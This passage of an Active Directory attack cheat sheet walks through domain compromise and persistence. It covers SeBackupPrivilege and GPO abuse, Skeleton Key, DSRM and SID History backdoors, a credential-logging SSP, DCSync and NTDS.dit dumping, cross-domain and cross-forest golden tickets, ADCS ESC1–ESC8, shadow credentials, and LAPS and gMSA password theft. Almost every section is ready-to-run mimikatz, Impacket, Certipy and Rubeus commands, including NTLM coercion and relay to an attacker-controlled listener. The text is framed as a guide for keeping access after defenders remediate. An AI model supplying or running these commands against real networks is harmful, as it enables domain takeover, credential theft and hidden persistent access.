# Backup Operators have SeBackupPrivilege — read ANY file on DC (bypass ACLs)
# Can dump SAM, SYSTEM, NTDS.dit
# Enable privilege (must be done in session with Backup Operators membership)
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Set-SeBackupPrivilege
# Copy NTDS.dit (requires volume shadow copy trick)
$s = [wmi]"\\DC01\root\cimv2:Win32_ShadowCopy"; $sid = $s.Create("C:\","ClientAccessible"); $v = $s.GetRelated("Win32_ShadowCopy") | Select -First 1
Copy-FileSeBackupPrivilege "$($v.DeviceObject)\Windows\NTDS\NTDS.dit" C:\loot\ntds.dit
reg.exe save HKLM\SYSTEM C:\loot\SYSTEM
# Extract hashes on Linux
python3 secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL
GPO Abuse — Code Exec on All Machines in OU
# Find GPOs with write access
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
$_.ActiveDirectoryRights -match "CreateChild|WriteProperty|GenericWrite|GenericAll" -and
$_.SecurityIdentifier -eq (Get-DomainUser -Identity lowpriv).objectsid
}
# SharpGPOAbuse — add immediate scheduled task to run payload
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "WinUpdate" --Author "NT AUTHORITY\SYSTEM" --Command "cmd.exe" --Arguments "/c net localgroup administrators backdoor_user /add" --GPOName "Default Domain Policy"
# Add user rights
.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeDebugPrivilege,SeImpersonatePrivilege" --UserAccount backdoor_user --GPOName "VulnerableGPO"
# Trigger GP refresh on target (instead of waiting)
Invoke-GPUpdate -ComputerName TARGET_MACHINE -Force
Persistence
Survive remediation — build multiple layers
AD persistence lives in the identity layer — not in files or registries. The best persistence mechanisms survive password resets, logon policy changes, even partial remediation. The goal is to have at least 2–3 independent paths back to Domain Admin so that if one is found and removed, your access continues. Establish persistence before triggering any loud actions.
Skeleton Key — Universal Master Password on DC
What is a Skeleton Key?
Mimikatz patches the LSASS process on a Domain Controller to accept a master password (mimikatz by default) in addition to every account's real password. Any account — including Domain Admins — can now be authenticated with either their real password or the skeleton key. This is not persistent: it lives only in LSASS memory and is lost on DC reboot. However, it provides immediate, invisible access to every account in the domain without changing any credentials.
# Requires: DA rights / SYSTEM on DC
# Patch LSASS (in memory only — not persistent)
.\Mimikatz.exe "privilege::debug" "misc::skeleton" "exit"
# Now authenticate as ANY user with password 'mimikatz' (master key)
Enter-PSSession -ComputerName DC01 -Credential (New-Object PSCredential("corp\anyuser", (ConvertTo-SecureString "mimikatz" -AsPlainText -Force)))
# Verify: try net use with skeleton key
net use \\DC01\IPC$ /user:corp\Administrator mimikatz
# Note: only survives until DC reboot — re-run after each reboot for persistence
# To re-patch automatically: use a scheduled task or GPO startup script
DSRM Backdoor — Permanent DC Local Admin
DSRM = Directory Services Restore Mode
Every Domain Controller has a local Administrator account for recovery (DSRM). This account's hash is stored in the SAM hive of the DC — separate from AD. By default, this account can only log in locally in DSRM mode. But a registry change enables network logon with this credential. Extract the DSRM hash, enable network logon, and you have a persistent local administrator on the DC that survives domain password resets and krbtgt rotations.
# Step 1: Extract DSRM hash (requires DA/SYSTEM on DC)
.\Mimikatz.exe "token::elevate" "lsadump::sam" "exit" # find 'Administrator' local entry
# Or: lsadump::secrets — look for $MACHINE.ACC and local SAM hashes
# Step 2: Enable DSRM network logon (run on DC — requires DA)
Invoke-Command -ComputerName DC01.corp.local -ScriptBlock {
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD -Force
}
# Value 2 = allow network logon always (not just in DSRM mode)
# Step 3: Authenticate via DSRM hash (from attacker machine)
.\Mimikatz.exe "sekurlsa::pth /domain:DC01 /user:Administrator /ntlm:DSRM_HASH /run:powershell.exe" "exit"
python3 secretsdump.py ./Administrator@DC01.corp.local -hashes :DSRM_HASH # Impacket
# Useful for: persistent access even after all AD accounts are reset
SID History Injection — Ghost Membership
SID History lets accounts carry extra group memberships silently
SID History is an AD attribute designed for account migrations — it lets a migrated account retain access to resources from its old domain. When an account authenticates, its SID History is included in the Kerberos PAC. An attacker with DA rights can inject any SID — including Enterprise Admins (S-1-5-21-forest-SID-519) — into any account's SID History. The account then has those privileges at every access check, but nothing about the account's group membership display has changed.
# Inject Enterprise Admins SID into a low-priv user (requires DA + Mimikatz)
.\Mimikatz.exe "privilege::debug" "misc::addsid backdoor_user S-1-5-21-FOREST-ROOT-SID-519" "exit"
# Verify SID History was added
Get-ADUser backdoor_user -Properties SIDHistory | Select -ExpandProperty SIDHistory
# Now backdoor_user has Enterprise Admin privileges at every resource access
# but doesn't appear in the Enterprise Admins group in AD
Custom SSP — Log All Passwords in Plaintext
Security Support Providers are loaded by LSASS
Windows loads Security Support Provider DLLs into LSASS at startup. Mimikatz's mimilib.dll can be registered as a custom SSP — it intercepts all authentication events and logs credentials to a file. Every user who authenticates to the DC sends their plaintext credentials through LSASS — and they're all captured. This survives reboots (it's registered in the registry) and captures credentials for all accounts including service accounts, admin logins, and domain admin activity.
# Method 1: In-memory SSP (no file, no reboot — session only)
.\Mimikatz.exe "privilege::debug" "misc::memssp" "exit"
# Credentials logged to: C:\Windows\System32\mimilsa.log
# Method 2: Persistent SSP via registry (survives reboots)
# Copy mimilib.dll to C:\Windows\System32\
Copy-Item .\mimilib.dll C:\Windows\System32\mimilib.dll
$packages = (Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name "Security Packages")."Security Packages"
$packages += "mimilib"
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name "Security Packages" -Value $packages
# After DC reboot: all credentials logged to C:\Windows\System32\kiwissp.log
# Read captured credentials
Get-Content C:\Windows\System32\kiwissp.log
Get-Content C:\Windows\System32\mimilsa.log
Malicious GPO — Mass Persistence via Policy
# Create a new GPO and link it to an OU (requires GPO creation rights)
New-GPO -Name "Windows Update Config" | New-GPLink -Target "OU=Workstations,DC=corp,DC=local"
# Add a scheduled task via GPO (runs at every machine startup as SYSTEM)
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "WinDefUpdate" --Author "NT AUTHORITY\SYSTEM" --Command "powershell.exe" --Arguments "-WindowStyle Hidden -enc BASE64_PAYLOAD" --GPOName "Windows Update Config"
# Or via startup script (runs at every user logon)
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount backdoor_user --GPOName "Windows Update Config"
# WMI Event Subscription (fileless persistence — survives reboots, no GPO needed)
$filter = Set-WMIInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{Name="UpdateCheck"; EventNameSpace="root\cimv2"; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Minutes=0"}
$consumer = Set-WMIInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name="UpdateCheck"; CommandLineTemplate="powershell -enc BASE64_PAYLOAD"}
Set-WMIInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$filter; Consumer=$consumer}
Domain Dominance
DCSync — Replicate the Domain Controller
Why DCSync is the gold standard
Domain Controllers replicate AD data between themselves using the MS-DRSR (Directory Replication Service Remote) protocol. Accounts with DS-Replication-Get-Changes and DS-Replication-Get-Changes-All rights can request replication of any object, including password hashes. DCSync abuses this — you tell a DC you're another DC that needs replication, and it sends you every NTLM hash in the domain. No agent on the DC, no file writes, no interaction with LSASS. The only artifact is a single Windows Security Event 4662.
# --- Grant DCSync rights (requires WriteDACL on domain object)
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity attacker_user -Rights DCSync
# --- DCSync with Mimikatz (from any domain-joined machine)
.\Mimikatz.exe "lsadump::dcsync /user:corp\krbtgt" "exit" # krbtgt hash
.\Mimikatz.exe "lsadump::dcsync /user:corp\Administrator" "exit" # DA hash
.\Mimikatz.exe "lsadump::dcsync /all /csv" "exit" # ALL hashes (noisy)
.\Mimikatz.exe "lsadump::dcsync /domain:corp.local /all /csv" "exit"
# --- Impacket secretsdump (from Linux — cleanest)
python3 secretsdump.py corp.local/Administrator:Password@DC01_IP
python3 secretsdump.py corp.local/attacker_user -hashes :NTLM_HASH @DC01_IP -just-dc-ntlm
python3 secretsdump.py corp.local/attacker_user:Password@DC01_IP -just-dc-user krbtgt
# --- netexec
nxc smb DC01_IP -u attacker_user -p Password --ntds # dump all NTDS
NTDS.dit Extraction — Physical Dump from DC
When you have filesystem access to the DC
NTDS.dit is the Active Directory database file — it contains every object in the domain including password hashes. It's locked by the AD DS service while the DC is running. To copy it, you must use Volume Shadow Copies (VSS) which provides a snapshot of the locked file, or the ntdsutil IFM (Install From Media) feature. Always grab the SYSTEM registry hive alongside it — you need the boot key from SYSTEM to decrypt the hashes.
# --- Method 1: Volume Shadow Copy (run on DC as SYSTEM/DA)
vssadmin create shadow /for=C:
# Note the shadow copy device path from output, e.g.: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\loot\ntds.dit
cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\loot\SYSTEM
reg save HKLM\SYSTEM C:\loot\SYSTEM # alternative: save live registry
# Cleanup shadow copy
vssadmin delete shadows /shadow=SHADOW_COPY_ID /quiet
# --- Method 2: ntdsutil IFM (creates a clean snapshot)
ntdsutil "activate instance ntds" "ifm" "create full C:\loot\IFM" quit quit
# Creates: C:\loot\IFM\Active Directory\ntds.dit + C:\loot\IFM\registry\SYSTEM
# --- Method 3: netexec / Impacket (remote — no local access needed)
nxc smb DC01_IP -u Administrator -p Password --ntds vss # uses VSS remotely
python3 secretsdump.py corp.local/Administrator:Password@DC01_IP -ntds
# --- Extract hashes from files on Linux
python3 secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL
python3 secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL -just-dc-ntlm -outputfile all_hashes
Post-Compromise Checklist — What to Do After DA
# 1. Dump all hashes immediately
.\Mimikatz.exe "lsadump::dcsync /all /csv" "exit"
# 2. Get krbtgt hash (Golden Ticket material)
.\Mimikatz.exe "lsadump::dcsync /user:corp\krbtgt" "exit"
# 3. Get AES keys (for stealthier ticket operations)
.\Mimikatz.exe "privilege::debug" "lsadump::lsa /patch" "exit" # includes AES keys
# 4. Establish persistence (multiple layers)
# - Add backdoor user to Domain Admins
# - Set AdminSDHolder ACE
# - DSRM backdoor
# - Golden Ticket (offline)
# 5. Enumerate forest trusts and pivot
Get-ForestTrust
Get-DomainTrust -Domain corp.local
# 6. Extract NTDS.dit (offline reference)
ntdsutil "ac i ntds" "ifm" "create full C:\loot" q q
Cross-Domain Attacks
Child domain compromise → parent domain compromise
Within a forest, all domains share a common trust chain rooted at the Forest Root Domain. A parent-child trust is automatically bidirectional and transitive. If you compromise a child domain (e.g., dev.corp.local), you can pivot to the forest root (corp.local) using either: (1) the child domain's krbtgt hash to forge a TGT with extra SIDs containing the parent's Enterprise Admins SID, or (2) the inter-realm trust key to forge referral tickets. Both methods yield Enterprise Admin access on the parent.
Method 1: ExtraSids — Golden Ticket with Parent Enterprise Admin SID
# --- Gather required information
# From child domain (dev.corp.local) — requires child DA:
# Child domain krbtgt hash
.\Mimikatz.exe "lsadump::dcsync /user:dev\krbtgt /domain:dev.corp.local" "exit"
# Child domain SID
Get-DomainSID -Domain dev.corp.local
# Or: (Get-ADDomain dev.corp.local).DomainSID
# Parent domain Enterprise Admins SID
# = Parent domain SID + -519
Get-DomainSID -Domain corp.local # append -519
# --- Forge Golden Ticket with ExtraSids (Mimikatz)
.\Mimikatz.exe "kerberos::golden /user:Administrator /domain:dev.corp.local /sid:S-1-5-21-CHILD-SID /krbtgt:CHILD_KRBTGT_HASH /sids:S-1-5-21-PARENT-SID-519 /ptt" "exit"
# /sids = extra SIDs to add — Enterprise Admins of parent = PARENT-SID-519
# --- Rubeus ExtraSids
.\Rubeus.exe golden /user:Administrator /domain:dev.corp.local /sid:S-1-5-21-CHILD-SID /rc4:CHILD_KRBTGT_HASH /sids:S-1-5-21-PARENT-SID-519 /ptt
# --- Impacket
python3 ticketer.py -nthash CHILD_KRBTGT_HASH -domain-sid S-1-5-21-CHILD-SID -extra-sid S-1-5-21-PARENT-SID-519 -domain dev.corp.local -user-id 500 Administrator
export KRB5CCNAME=Administrator.ccache
python3 psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local
# --- Access parent domain DC with forged ticket
dir \\DC01.corp.local\C$
Invoke-Command -ComputerName DC01.corp.local -ScriptBlock {hostname; whoami}
Method 2: Trust Key — Forge Inter-Realm Referral Ticket
How inter-realm trust tickets work
When a user in dev.corp.local accesses a resource in corp.local, the child KDC issues a referral ticket encrypted with the inter-realm trust key — a shared secret between the two KDCs. You can extract this key and forge your own referral ticket, then use it to get a TGS from the parent KDC. The key insight: the referral ticket contains SID history, so add the parent's Enterprise Admins SID there too.
# --- Extract inter-realm trust key from child DC (requires child DA)
.\Mimikatz.exe "lsadump::trust /patch" "exit"
# Look for: [ In ] corp.local -> dev.corp.local — this is the trust key
# --- Forge referral ticket with trust key + ExtraSids
.\Mimikatz.exe "kerberos::golden /user:Administrator /domain:dev.corp.local /sid:S-1-5-21-CHILD-SID /sids:S-1-5-21-PARENT-SID-519 /rc4:TRUST_KEY /service:krbtgt /target:corp.local /ptt" "exit"
# --- Use ticket to access parent resources
.\Mimikatz.exe "lsadump::dcsync /user:corp\krbtgt /domain:corp.local" "exit"
# Impacket version
python3 ticketer.py -nthash TRUST_KEY -domain-sid S-1-5-21-CHILD-SID -extra-sid S-1-5-21-PARENT-SID-519 -spn krbtgt/corp.local -domain dev.corp.local Administrator
export KRB5CCNAME=Administrator.ccache
python3 getST.py -k -no-pass -spn CIFS/DC01.corp.local corp.local/Administrator
python3 secretsdump.py -k -no-pass DC01.corp.local
Cross-Forest Attacks
Forests are the true security boundary — but trusts break it
Forests are the ultimate AD security boundary. Unlike domain trusts within a forest (which are automatic and transitive), inter-forest trusts require explicit configuration. By default, SID filtering is enabled — it strips SID history from cross-forest authentication, preventing the ExtraSids attack. However, misconfigurations, disabled SID filtering, and foreign security principal abuse create viable cross-forest attack paths.
Forest Trust Enumeration
# Enumerate all forest trusts
Get-ForestTrust | Select TopLevelNames,TrustDirection,TrustType,TrustAttributes
nltest /domain_trusts /all_trusts
# Check SID filtering status
# TrustAttributes flag 0x4 = QUARANTINED (SID filtering ON)
Get-DomainTrust -Domain corp.local | Select TargetName,TrustAttributes
Get-ADTrust -Filter * -Properties * | Select Name,TrustAttributes,@{N="SIDFiltering";E={if($_.TrustAttributes -band 4){"ON"}else{"OFF"}}}
# Get users from trusted forest accessible in our forest
Get-DomainForeignGroupMember -Domain corp.local # users from partner.org in our groups
Get-DomainForeignUser -Domain partner.org # users from partner.org
Cross-Forest Compromise (SID Filtering Disabled)
When SID filtering is off — forests merge
If an administrator disabled SID filtering on a forest trust (setting TREAT_AS_EXTERNAL), the ExtraSids technique works across forests. Extract the inter-forest trust key from either side, forge a ticket with the Enterprise Admins SID of the target forest, and you can authenticate as Enterprise Admin in the partner forest. This completely collapses the forest security boundary.
# Check if SID filtering is disabled (TrustAttributes bit 0x40 = TREAT_AS_EXTERNAL)
Get-DomainTrust | Where-Object {$_.TrustAttributes -band 0x40}
# Extract forest trust key (from corp.local DC — requires corp.local DA)
.\Mimikatz.exe "lsadump::trust /patch" "exit"
# Look for trust key for partner.org
# Forge cross-forest ticket with partner's Enterprise Admins SID
.\Mimikatz.exe "kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-CORP-SID /sids:S-1-5-21-PARTNER-SID-519 /rc4:FOREST_TRUST_KEY /service:krbtgt /target:partner.org /ptt" "exit"
# Access partner forest DC
dir \\DC01.partner.org\C$
.\Mimikatz.exe "lsadump::dcsync /user:partner\krbtgt /domain:partner.org" "exit"
# Impacket
python3 ticketer.py -nthash FOREST_TRUST_KEY -domain-sid S-1-5-21-CORP-SID -extra-sid S-1-5-21-PARTNER-SID-519 -spn krbtgt/partner.org -domain corp.local Administrator
export KRB5CCNAME=Administrator.ccache
python3 secretsdump.py -k -no-pass DC01.partner.org
Foreign Security Principal Abuse
# Foreign Security Principals (FSPs) = accounts from other forests added to local groups
# If a corp.local user is added to partner.org's "Administrators" group, they have admin rights there
# Find FSPs in remote forest (need read access to remote domain)
Get-DomainForeignGroupMember -Domain partner.org | Select GroupName,MemberName,MemberDomain
# If corp.local user is in a privileged group in partner.org:
# Authenticate from corp.local to partner.org resources using corp.local credentials
Get-DomainTrust -Domain corp.local # confirm trust direction
# If corp.local user is listed as FSP admin → use their corp.local ticket cross-forest
Printer Bug / Coerce for Cross-Forest
# Coerce forest root DC to authenticate to your machine → relay NTLM cross-forest
# Useful when you have a foothold in one forest and want to pivot
# SpoolSample (PrinterBug) — coerce DC01.corp.local to auth to your listener
.\SpoolSample.exe DC01.corp.local ATTACKER_MACHINE.corp.local
# PetitPotam coerce
python3 PetitPotam.py -u user@corp.local -p Password LISTENER_IP DC01.corp.local
# Relay to partner.org LDAP (if cross-forest NTLM relay possible)
sudo ntlmrelayx.py -t ldap://DC01.partner.org -smb2support --no-da --no-acl
ADCS — Active Directory Certificate Services
Why ADCS is a goldmine for attackers
Active Directory Certificate Services (ADCS) is a PKI role deployed in most enterprise environments to issue digital certificates. Certificates can be used for smart card logon, authentication, code signing, and more. Crucially, a certificate that allows client authentication acts like a long-lived Kerberos ticket — valid for the template's lifetime (often 1–10 years), unaffected by password resets, and barely monitored. The SpecterOps research paper "Certified Pre-Owned" (2021) catalogued 8 escalation paths (ESC1–ESC8) that remain overwhelmingly prevalent in real environments. Certipy automates nearly all of them from Linux.
Enumeration
# --- Certipy — find all vulnerable templates and misconfigs
certipy find -u user@corp.local -p Password -dc-ip DC01_IP -vulnerable -stdout
certipy find -u user@corp.local -p Password -dc-ip DC01_IP -text -output adcs_enum
# --- certify.exe (Windows — PowerShell)
.\Certify.exe cas # list Certificate Authorities
.\Certify.exe find # find all templates
.\Certify.exe find /vulnerable # vulnerable templates only
.\Certify.exe find /enrolleeSuppliesSubject # ESC1-specific
# --- LDAP query for templates allowing client auth
Get-DomainObject -LDAPFilter "(&(objectclass=pkicertificatetemplate)(|(mspki-certificate-application-policy=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)))" | Select-Object name,mspki-certificate-name-flag
# --- netexec
nxc ldap DC01_IP -u user -p Password -M adcs # list CAs
nxc ldap DC01_IP -u user -p Password -M adcs -o SERVER=CA_NAME
ESC1 — Enrollee Supplies Subject (Impersonate Any User)
ESC1 — the most impactful ADCS misconfiguration
A certificate template has CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT set in mspki-certificate-name-flag, allows client authentication EKU, and permits domain user enrollment. This means you choose the Subject Alternative Name (SAN) when requesting the certificate. You request a cert claiming to be Administrator@corp.local. The CA issues it. You use that cert to authenticate as Administrator via PKINIT — no password needed.
# --- Certipy ESC1 (full attack: request cert + authenticate)
# Step 1: Request certificate for target user
certipy req -u user@corp.local -p Password -ca CORP-CA -target CA_SERVER -template VulnerableTemplate -upn administrator@corp.local
# Step 2: Authenticate with cert → get TGT + NTLM hash
certipy auth -pfx administrator.pfx -domain corp.local -username administrator -dc-ip DC01_IP
# --- Certify + Rubeus chain (Windows)
.\Certify.exe request /ca:CA_SERVER\CORP-CA /template:VulnerableTemplate /altname:administrator
# Convert .pem → .pfx
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
.\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:pfx_password /ptt /nowrap
ESC2 — Any Purpose / Subordinate CA Template
# ESC2: template has "Any Purpose" EKU or no EKU at all
# Allows using cert for ANY purpose including smart card logon
# --- Certipy
certipy req -u user@corp.local -p Password -ca CORP-CA -template AnyPurposeTemplate -upn administrator@corp.local
certipy auth -pfx administrator.pfx -dc-ip DC01_IP
ESC3 — Enrollment Agent Abuse
ESC3 — two-step enrollment agent attack
Two misconfigured templates make this work: (1) a template with Certificate Request Agent EKU that you can enroll in — this gives you an enrollment agent certificate; (2) a second template that permits enrollment agents to request certs on behalf of other users AND allows client auth. Use your enrollment agent cert to request a client auth cert for a DA.
# Step 1: Get enrollment agent certificate
certipy req -u user@corp.local -p Password -ca CORP-CA -template EnrollmentAgentTemplate
# Step 2: Use enrollment agent cert to request cert on behalf of Administrator
certipy req -u user@corp.local -p Password -ca CORP-CA -template User -on-behalf-of corp\\administrator -pfx agent.pfx
# Step 3: Authenticate
certipy auth -pfx administrator.pfx -dc-ip DC01_IP
ESC4 — Vulnerable Template ACL (Write Access)
# ESC4: you have WriteProperty/GenericWrite on a template → modify it to be ESC1
# Certipy does this automatically
# Save current template config, modify to ESC1, request cert, restore template
certipy template -u user@corp.local -p Password -template VulnACLTemplate -save-old
certipy req -u user@corp.local -p Password -ca CORP-CA -template VulnACLTemplate -upn administrator@corp.local
certipy auth -pfx administrator.pfx -dc-ip DC01_IP
# Restore template (clean up)
certipy template -u user@corp.local -p Password -template VulnACLTemplate -configuration VulnACLTemplate.json
ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 on CA
# ESC6: CA has flag EDITF_ATTRIBUTESUBJECTALTNAME2 set
# This flag allows the requester to supply a SAN in ANY template request
# Even templates without CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT become vulnerable
# Check the flag:
certutil -config "CA_SERVER\CORP-CA" -getreg policy\EditFlags
# Look for: EditFlags REG_DWORD = 0x11014e (bit 0x40 = EDITF_ATTRIBUTESUBJECTALTNAME2)
# Exploit: request any enrollable template with SAN
certipy req -u user@corp.local -p Password -ca CORP-CA -template User -upn administrator@corp.local
ESC7 — Vulnerable CA ACL
# ESC7: you have ManageCertificates or ManageCA rights on the CA itself
# ManageCA → can enable EDITF_ATTRIBUTESUBJECTALTNAME2 flag → ESC6
# Step 1: Enable the ESC6 flag via CA management rights
certipy ca -u user@corp.local -p Password -ca CORP-CA -target CA_SERVER -enable-template SubCA
# Step 2: If you have ManageCertificates: approve failed requests
# Request cert that gets rejected, then approve it yourself
certipy req -u user@corp.local -p Password -ca CORP-CA -template SubCA -upn administrator@corp.local
# Note the request ID from output
certipy ca -u user@corp.local -p Password -ca CORP-CA -target CA_SERVER -issue-request REQUEST_ID
certipy req -u user@corp.local -p Password -ca CORP-CA -retrieve REQUEST_ID
certipy auth -pfx administrator.pfx -dc-ip DC01_IP
ESC8 — NTLM Relay to AD CS HTTP Enrollment (Web Enrollment)
ESC8 — relay machine auth to CA web enrollment
If the CA has Web Enrollment enabled (HTTP endpoint at http://CA/certsrv/) without Extended Protection for Authentication (EPA) or HTTPS, NTLM authentication can be relayed to it. Coerce a DC to authenticate to your listener (PrinterBug/PetitPotam), relay that NTLM to the CA web enrollment, and request a DC certificate. Use the DC certificate to perform DCSync via PKINIT + UnPAC-the-Hash.
# Step 1: Start relay targeting CA web enrollment
sudo certipy relay -ca CA_SERVER -template DomainController
# Step 2: Coerce DC to authenticate to your relay
python3 PetitPotam.py -u user -p Password ATTACKER_IP DC01.corp.local
# Or: .\SpoolSample.exe DC01.corp.local ATTACKER_IP
# Result: Certipy gets DC certificate saved as dc01.pfx
# Step 3: Authenticate with DC cert → get DC NTLM hash (UnPAC-the-Hash)
certipy auth -pfx dc01.pfx -dc-ip DC01_IP
# Outputs: DC01$:NTLM_HASH
# Step 4: DCSync using DC machine account hash
python3 secretsdump.py -hashes :DC01_NTLM_HASH 'corp.local/DC01$'@DC01_IP -just-dc-ntlm
Shadow Credentials (Key Trust) — Certificate-Based Account Takeover
msDS-KeyCredentialLink — passwordless backdoor
Windows Hello for Business stores public keys in msDS-KeyCredentialLink on user/computer objects. If you have GenericWrite or WriteProperty on an account, you can add your own key pair to this attribute. The account can then authenticate using the private key via PKINIT — no password change needed, no password reset needed, survives password resets. The Whisker tool automates this on Windows; pyWhisker on Linux.
# --- Certipy shadow credentials (Linux)
certipy shadow auto -u user@corp.local -p Password -account target_user -dc-ip DC01_IP
# Or step by step:
certipy shadow add -u user@corp.local -p Password -account target_user -dc-ip DC01_IP
certipy auth -pfx target_user.pfx -username target_user -domain corp.local -dc-ip DC01_IP
# --- pyWhisker (Linux)
python3 pywhisker.py -d corp.local -u user -p Password --target target_user --action add
# Then use gettgtpkinit.py with the generated PFX
# --- Whisker (Windows — requires GenericWrite on target)
.\Whisker.exe add /target:target_user /domain:corp.local /dc:DC01.corp.local
# Whisker outputs the Rubeus command to run:
.\Rubeus.exe asktgt /user:target_user /certificate:BASE64_CERT /password:cert_password /domain:corp.local /dc:DC01.corp.local /ptt
AuditFilter on the CA. Certipy operations leave traces in the CA database (all cert requests are logged). Shadow credentials leave an entry in msDS-KeyCredentialLink — remove it after use.
LAPS & gMSA Abuse
LAPS — Local Administrator Password Solution
What LAPS does and how to abuse it
LAPS automatically rotates local Administrator passwords on domain-joined machines, storing them in a confidential AD attribute: ms-Mcs-AdmPwd. Only authorized principals (listed in ms-Mcs-AdmPwdExpirationTime) can read this attribute. If you have AllExtendedRights, GenericAll, or explicit read rights on computer objects, you can read the plaintext local admin password directly from AD. No cracking needed — it's stored in plaintext.
# --- Find computers with LAPS enabled
Get-DomainComputer -Filter "(ms-Mcs-AdmPwdExpirationTime=*)" -Properties Name,ms-Mcs-AdmPwdExpirationTime
Get-ADComputer -Filter {ms-Mcs-AdmPwdExpirationTime -like "*"} -Properties ms-Mcs-AdmPwdExpirationTime
# --- Find who can READ LAPS passwords (has AllExtendedRights on computer OU)
Find-AdmPwdExtendedRights -Identity "OU=Workstations,DC=corp,DC=local"
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {$_.ObjectAceType -match "ms-Mcs-AdmPwd"}
# --- Read LAPS password (if you have rights)
Get-DomainComputer -Identity WORKSTATION01 -Properties ms-Mcs-AdmPwd | Select ms-Mcs-AdmPwd
Get-ADComputer WORKSTATION01 -Properties ms-Mcs-AdmPwd | Select ms-Mcs-AdmPwd
# --- PowerLAPS / LAPSToolkit
Import-Module .\LAPSToolkit.ps1
Get-LAPSComputers # show all LAPS passwords you can read
Find-LAPSDelegatedGroups # show who can read LAPS
Find-AdmPwdExtendedRights # show ACEs granting LAPS read
# --- Impacket / netexec (from Linux)
nxc ldap DC01_IP -u user -p Password -M laps # dump all readable LAPS passwords
python3 laps.py -u user -p Password -d corp.local # enumerate
# --- LAPS v2 (Windows Server 2019+) — new attribute name
Get-ADComputer WORKSTATION01 -Properties "msLAPS-Password" | Select msLAPS-Password
# msLAPS-Password is a JSON blob: {"n":"Administrator","t":"...","p":"PLAINTEXT_PASSWORD"}
LAPS Password Write — Force Rotation
# If you have WRITE access to ms-Mcs-AdmPwdExpirationTime:
# Set expiration to past date → forces LAPS to generate new password on next check-in
# You could also read the current password BEFORE it rotates
# Set expiration to epoch 0 (forces immediate rotation on next policy apply)
Set-DomainObject -Identity WORKSTATION01 -Set @{"ms-Mcs-AdmPwdExpirationTime" = 0}
# --- If you have GenericAll on computer object — write your own password directly
Set-DomainObject -Identity WORKSTATION01 -Set @{"ms-Mcs-AdmPwd" = "YourPassword123!"}
# Then authenticate with the password you set:
nxc smb WORKSTATION01 -u Administrator -p 'YourPassword123!'
gMSA — Group Managed Service Accounts
gMSA password extraction
Group Managed Service Accounts (gMSA) have 240-character randomly-generated passwords, automatically rotated by AD. The password is stored encrypted in the msDS-ManagedPassword attribute, readable only by accounts listed in msDS-GroupMSAMembership. If your compromised account is in that group, you can request and decrypt the gMSA password — which gives you the service account's NTLM hash and effectively full impersonation rights for whatever the gMSA is used for.
# --- Find gMSA accounts
Get-DomainObject -LDAPFilter "(objectClass=msDS-GroupManagedServiceAccount)" | Select SamAccountName,msDS-GroupMSAMembership
Get-ADServiceAccount -Filter {ObjectClass -eq "msDS-GroupManagedServiceAccount"} -Properties msDS-GroupMSAMembership
# --- Check if your account can read the gMSA password
# msDS-GroupMSAMembership contains the security descriptor of who can read msDS-ManagedPassword
$gmsa = Get-ADServiceAccount -Identity GMSA_ACCOUNT -Properties msDS-GroupMSAMembership
$gmsa.'msDS-GroupMSAMembership'.Access
# --- Read gMSA password (if authorized)
$gmsa = Get-ADServiceAccount -Identity GMSA_ACCOUNT -Properties msDS-ManagedPassword
$mp = $gmsa.'msDS-ManagedPassword'
Import-Module .\DSInternals.psd1
$sd = ConvertFrom-ADManagedPasswordBlob $mp
$sd.CurrentPassword # 240-char password
ConvertTo-NTHash -Password $sd.CurrentPassword # NTLM hash of gMSA password
# --- GMSAPasswordReader (standalone tool)
.\GMSAPasswordReader.exe --AccountName GMSA_ACCOUNT
# --- Impacket gMSADumper (Linux)
python3 gMSADumper.py -u user -p Password -d corp.local -l DC01_IP
# Output: GMSA_ACCOUNT$ : NTLM_HASH
# --- Use gMSA hash (pass-the-hash)
nxc smb TARGET -u 'GMSA_ACCOUNT$' -H NTLM_HASH
python3 secretsdump.py -hashes :NTLM_HASH 'corp.local/GMSA_ACCOUNT$'@TARGET_IP
Novel & CVE-Based Attacks
noPac — CVE-2021-42278 + CVE-2021-42287 (SAM Name Impersonation)
Domain User → Domain Admin in one shot
